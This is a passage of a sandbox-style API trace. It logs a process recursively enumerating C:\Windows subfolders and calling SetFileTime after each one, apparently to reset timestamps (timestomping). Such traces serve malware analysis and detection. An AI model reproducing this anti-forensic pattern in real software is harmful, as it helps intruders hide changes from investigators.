lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x59edc9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.004] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.004] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.004] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.006] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.006] CloseHandle (hObject=0x90) returned 1 [0128.006] lstrcmpA (lpString1=".", lpString2="RSSFeed") returned -1 [0128.007] lstrcmpA (lpString1="..", lpString2="RSSFeed") returned -1 [0128.007] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\RSSFeed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53f7c5d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x53f7c5d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.007] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.007] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.007] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.009] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.009] CloseHandle (hObject=0x90) returned 1 [0128.010] lstrcmpA (lpString1=".", lpString2="Theme") returned -1 [0128.010] lstrcmpA (lpString1="..", lpString2="Theme") returned -1 [0128.010] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Theme\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.012] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.012] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.012] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.014] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.014] CloseHandle (hObject=0x90) returned 1 [0128.015] lstrcmpA (lpString1=".", lpString2="Wallpaper") returned -1 [0128.015] lstrcmpA (lpString1="..", lpString2="Wallpaper") returned -1 [0128.015] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-GB\\Wallpaper\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x541dec5, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x5a13f05, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x541dec5, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.018] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.019] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.019] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.021] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.021] CloseHandle (hObject=0x90) returned 1 [0128.041] lstrcmpA (lpString1=".", lpString2="MCT-US") returned -1 [0128.041] lstrcmpA (lpString1="..", lpString2="MCT-US") returned -1 [0128.041] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x11ac464d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f496a, dwReserved1=0x1d107f8, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.042] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.042] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.042] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.042] lstrcmpA (lpString1=".", lpString2="Link") returned -1 [0128.042] lstrcmpA (lpString1="..", lpString2="Link") returned -1 [0128.043] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Link\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.043] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.043] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.043] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.046] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.046] CloseHandle (hObject=0x90) returned 1 [0128.046] lstrcmpA (lpString1=".", lpString2="RSSFeed") returned -1 [0128.046] lstrcmpA (lpString1="..", lpString2="RSSFeed") returned -1 [0128.047] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\RSSFeed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.049] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.049] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.049] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.051] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.051] CloseHandle (hObject=0x90) returned 1 [0128.052] lstrcmpA (lpString1=".", lpString2="Theme") returned -1 [0128.052] lstrcmpA (lpString1="..", lpString2="Theme") returned -1 [0128.052] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Theme\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12211c35, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.052] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.052] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.052] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.054] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.054] CloseHandle (hObject=0x90) returned 1 [0128.055] lstrcmpA (lpString1=".", lpString2="Wallpaper") returned -1 [0128.055] lstrcmpA (lpString1="..", lpString2="Wallpaper") returned -1 [0128.055] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x12237e9d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x11ac464d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.058] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.058] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.058] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.061] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.061] CloseHandle (hObject=0x90) returned 1 [0128.066] lstrcmpA (lpString1=".", lpString2="MCT-ZA") returned -1 [0128.066] lstrcmpA (lpString1="..", lpString2="MCT-ZA") returned -1 [0128.066] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d50c61d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f496a, dwReserved1=0x1d107f8, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.066] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.066] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.066] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.067] lstrcmpA (lpString1=".", lpString2="RSSFeed") returned -1 [0128.067] lstrcmpA (lpString1="..", lpString2="RSSFeed") returned -1 [0128.067] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\RSSFeed\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.067] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.067] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.067] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.067] lstrcmpA (lpString1=".", lpString2="Theme") returned -1 [0128.067] lstrcmpA (lpString1="..", lpString2="Theme") returned -1 [0128.068] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Theme\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.068] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.068] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.068] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.070] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.070] CloseHandle (hObject=0x90) returned 1 [0128.071] lstrcmpA (lpString1=".", lpString2="Wallpaper") returned -1 [0128.071] lstrcmpA (lpString1="..", lpString2="Wallpaper") returned -1 [0128.071] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1d95ebe5, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1d50c61d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0128.074] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.074] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.074] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.076] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.076] CloseHandle (hObject=0x90) returned 1 [0128.078] lstrcmpA (lpString1=".", lpString2="Sorting") returned -1 [0128.079] lstrcmpA (lpString1="..", lpString2="Sorting") returned -1 [0128.079] FindFirstFileA (in: lpFileName="C:\\Windows\\Globalization\\Sorting\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3ad5e0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe8bc3d4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe8bc3d4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x43004d, dwReserved1=0x2d0054, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.079] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.079] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.079] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.084] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.084] CloseHandle (hObject=0x88) returned 1 [0128.085] lstrcmpA (lpString1=".", lpString2="Help") returned -1 [0128.085] lstrcmpA (lpString1="..", lpString2="Help") returned -1 [0128.085] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0128.091] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.092] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.092] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.092] lstrcmpA (lpString1=".", lpString2="Corporate") returned -1 [0128.092] lstrcmpA (lpString1="..", lpString2="Corporate") returned -1 [0128.092] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\Corporate\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.092] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.093] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.093] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.093] lstrcmpA (lpString1=".", lpString2="Help") returned -1 [0128.093] lstrcmpA (lpString1="..", lpString2="Help") returned -1 [0128.093] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\Help\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.093] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.094] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.094] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.094] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0128.094] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0128.095] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\Help\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1d941922, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.098] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.098] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.098] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.100] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0128.100] CloseHandle (hObject=0x8c) returned 1 [0128.101] lstrcmpA (lpString1=".", lpString2="mui") returned -1 [0128.101] lstrcmpA (lpString1="..", lpString2="mui") returned -1 [0128.101] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\mui\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa1a9944a, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x368d9333, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.103] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.103] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.103] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0128.103] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0128.103] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0128.103] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\mui\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.106] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0128.108] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0128.113] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\OEM\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe41f9ee, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xceedaa29, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.114] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\Windows\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.114] FindFirstFileA (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d967bdb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x91c72bf0, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.161] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0128.162] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.165] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMEJP10\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe46bca2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe46bca2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.165] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMEJP10\\DICTS\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe92e7e2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe92e7e2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.173] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\IMEJP10\\help\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe95493c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe95493c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.179] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\imekr8\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe491dfc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe491dfc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.180] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\imekr8\\dicts\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe908688, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe908688, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.182] FindFirstFileA (in: lpFileName="C:\\Windows\\IME\\imekr8\\help\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe92e7e2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe92e7e2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 